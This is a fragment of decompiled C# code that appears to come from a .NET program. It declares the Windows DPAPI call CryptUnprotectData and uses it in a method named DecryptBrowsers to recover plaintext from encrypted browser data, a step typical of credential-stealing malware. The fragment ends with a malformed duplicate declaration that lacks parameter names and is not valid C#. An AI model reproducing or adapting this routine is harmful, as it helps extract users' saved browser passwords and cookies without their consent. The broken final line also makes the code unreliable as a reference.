private static extern bool CryptUnprotectData(ref DecryptAPI.DataBlob dataBlob_0, ref string string_0, ref DecryptAPI.DataBlob dataBlob_1, IntPtr intptr_0, ref DecryptAPI.CryptprotectPromptstruct cryptprotectPromptstruct_0, int int_0, ref DecryptAPI.DataBlob dataBlob_2);
// Token: 0x0600027A RID: 634 RVA: 0x0002614C File Offset: 0x0002434C
public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
{
DecryptAPI.DataBlob dataBlob = default(DecryptAPI.DataBlob);
DecryptAPI.DataBlob dataBlob2 = default(DecryptAPI.DataBlob);
DecryptAPI.DataBlob dataBlob3 = default(DecryptAPI.DataBlob);
DecryptAPI.CryptprotectPromptstruct cryptprotectPromptstruct = new DecryptAPI.CryptprotectPromptstruct
{
cbSize = Marshal.SizeOf(typeof(DecryptAPI.CryptprotectPromptstruct)),
dwPromptFlags = 0,
hwndApp = IntPtr.Zero,
szPrompt = null
};
string empty = string.Empty;
try
{
try
{
if (cipherTextBytes == null)
{
cipherTextBytes = new byte[0];
}
dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
dataBlob2.cbData = cipherTextBytes.Length;
Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
}
catch
{
}
try
{
if (entropyBytes == null)
{
entropyBytes = new byte[0];
}
dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
dataBlob3.cbData = entropyBytes.Length;
Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
}
catch
{
}
DecryptAPI.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
byte[] array = new byte[dataBlob.cbData];
Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
return(array);
}
catch
{
}
finally
{
if (dataBlob.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob.pbData);
}
if (dataBlob2.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob2.pbData);
}
if (dataBlob3.pbData != IntPtr.Zero)
{
Marshal.FreeHGlobal(dataBlob3.pbData);
}
}
return(new byte[0]);
}
private static extern bool CryptUnprotectData(ref DecryptAPI.DataBlob, ref string, ref DecryptAPI.DataBlob, IntPtr, ref DecryptAPI.CryptprotectPromptstruct, int, ref DecryptAPI.DataBlob);